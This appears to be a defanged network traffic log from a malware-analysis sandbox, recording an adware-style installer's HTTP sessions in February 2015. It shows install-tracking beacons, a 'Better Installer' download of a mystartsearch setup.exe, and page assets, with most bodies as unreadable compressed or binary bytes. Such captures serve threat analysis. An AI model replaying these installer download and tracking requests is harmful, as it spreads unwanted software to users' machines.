Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT
ETag: W/"226cdf70832ad01:0"
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip
9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Thu, 12 Feb 2015
 05:33:56 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT..ET
ag: W/"226cdf70832ad01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....
8.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T
2....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../".......
..0......


GET /res/beat/204/Beat.js HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default5755&xdm_p=1
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 14 Jan 2015 21:12:18 GMT
ETag: W/"969a8ec73e30d01:0"
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....
<<< skipped >>>

GET /res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: application/x-javascript
Content-Length: 0
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=31536000
Expires: Thu, 12 Feb 2015 05:59:16 GMT
ETag: D41D8CD98F00B204E9800998ECF8427E
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: HIT
HTTP/1.1 200 OK..Date: Thu, 12 Feb 2015 05:33:58 GMT..Content-Type: ap
plication/x-javascript..Content-Length: 0..Connection: keep-alive..Cac
he-Control: public, max-age=3600, s-maxage=31536000..Expires: Thu, 12 
Feb 2015 05:59:16 GMT..ETag: D41D8CD98F00B204E9800998ECF8427E..X-AspNe
t-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2.
.X-Cache: HIT..



GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1
Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.07 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.07 ms","message":"store 4 ac
tion and 5 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,18 HTTP/1.1


Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.61 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:18 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.61 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=80408-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 241224
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 80408-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: B7HGzo55mfC62JWcZ6l_rlJDIQr_dsjNZth8NUe4ycBU2bL9JdTT9Q==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=13031 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:44 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /home HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: symfony=cchinanbfiaeile2qq478lf7m0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
17b2.............][s.Hv~._.....D..j[..%...(*.m.xj....$,....dyg.R..J...
&O...!....C.Ivry._...H....mC.U.H....}.\.sN...;...wG.2..!9z..`...6D.T..
......^.{@dA"..Fi..qDCQ...Hk.e...xqq!\.B........%.....Y.I.....W...|7..
t..nd....[....F....Zd.j. B..............o.....(K.a..CF'A*..Xt.......r.
..p.$,.\K....#..5.]N..Z..e..Z...e...M6....|....Y.m...E...f .....qG4IY.
9....E.jO..34....p{2I........,.z,u.`.'..Y..$HI6b.D...].v.%q..:..4....4
##....xJ. u.s..Q..O.e.N.8..?a... .MA.'\...f.8...$..Y.D...k...v1...6...
..F..;.\...yF...E....!...]...]^...Vg. v.C......e..9e..f.z1.\...7.....e
.k.Q.a....3....K.ys....n.V..X...)..V....iF..I.`...SLH...u.a...CsFm..Z0
...E...(..X...qK.. ..6..O.-....n.....>_.a0.eN.n.c....T......W[$M\L.
H..w..._...I..?NYr)..)(..a..}.....EW....I...%K.Z~..4X.......UF.....t.C
F`.&q.~.`.k.8w....$.C.c...|.>....x}......._......{...2.....en...f.,
.>.a.......O~...w.o.?.-..........i:zL..t.I.>..z~3....K.....O..M.
...M'd........1..YV.J_\.........~xF..^F...W.......&..0...D)K.....~.I,.
.....A....^...[_ .hm}.P........u....)Z....g_.}.......u.....).nX..!....
.....I...,.x.........6.W..L3?wb.2..^pN.o.....o`......._.wD...;..A.e...
:^../.........?..i..".'..9..9. .v.Ie0....I....E_..Q<f...xX..`..S.?%
...[".=.}...l.0.u...,..Pj.:..z..8.c@..|NeAGA.W_U&o...?$'..;...... |q..
0.XR,.....l.T....T......i6M..d.`.....i....(..i.F.... LE.F.K.r".X,KECd.
.|..tM...;.%...4.uTKv%.....VCK.......#.f d>D..q....5..[X..%.FF..S.]
Bn......2.]..G.DGS=.(3.K....A%I.4..<K..a.}....?....^...........C. .
.(..mJ..H.i0.?uT.g.lQYvd......7}2....l..2b.#o..e.Y.9.b..&4.q.....#
<<< skipped >>>

GET /css/main.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: text/css
Content-Length: 0
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-0"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
....


GET /css/product.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /js/scripts.js HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /images/logo.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/jpeg
Content-Length: 5807
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-16af"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......
<<< skipped >>>

GET /thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/png
Content-Length: 198243
Last-Modified: Fri, 14 Jun 2013 16:44:16 GMT
Connection: keep-alive
ETag: "51bb4860-30663"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w.&Wu x...
....b..ARK.R....!..F..hl....'f.=..w.cX...k.8`.g........2`[email protected]'uN
/..............}..........n87.t.=...%....:..%YC....^')..}...S....L...R
.b...MM`.......3sD.....[?eM4?.8x.. "..._(...Y{i}.Y......._D&.'. XZX...
U.;.~..?...Wk.w8`.u..j...R./..4.4.."...~an6......p=5>.n..Y....i.K..
'..b.X*.?}.e...P.bzr...s..Z.W....:5......./.@...[c.`J.%..u...D.`$..yP.
....$............N(........<f3</..,...E.8.....`.\.bD.E,. b....J.
...m...BZ..Of.H...3....w.A...$.{..:....x.. B...k..R.H.[i.....W..|:.. .
.S..Ug.....C..e.....Sa...zF.V.[.l..=.*`...HX.m.j[..>~....\.."..._..
kEN..XDl.%...=....&..........T..^T{=mK....m2....Jlg.]*.....O......Z!..
3..........Ua.....`o... `...\.J._VK@/$.lyv...'......}7.7.L=.4.... !K..
I.].l...""..Bz4.....)./. "....0.. ..........%U.:[email protected]..
.../m..V...9...\e.....A.1..X...1.V=xz/...b.^.P.....,.X....;<...4z.3
g`..V.7..A.Vk.........B.{d....p./......d.d...HGU..}IX.....htP......;..
U(......U.&*TR..k.w#.(.q'vT./.z....P...... ....9..H..5^....Q ...J....a
.V2.t[}..[....p..iH.....z...c.....<...T3h..*m...'_.`2 .5..`..c.... 
&....0(&.....H.....f..U..IX.........# b{J.=.Y5t..Y..*....^...-i.....~g
...b..$..y....W...5...p.<m..>U. .....jT.....*K2t3.]..v.....3.`..
]l5..b.H.........f.P.Z:[email protected][email protected].\;.."V..{......v.
.p...F..m...l}....I.z....@B. ...w.66.......k.'f#AHT......(.6eW.vgr90..
N:.A....,..a."us.l.n..7... .....-q..c...C.h.,.wXk-T,.f.....l.....0.p!.
=.AF....5...`h...N.....m.....H.t..._..1.t...1..2C3.../F.N/..&."...
<<< skipped >>>

GET /images/4.5stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/jpeg
Content-Length: 2275
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-8e3"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l
<<< skipped >>>

GET /thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: image/png
Content-Length: 514647
Last-Modified: Thu, 13 Jun 2013 17:01:53 GMT
Connection: keep-alive
ETag: "51b9fb01-7da57"
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
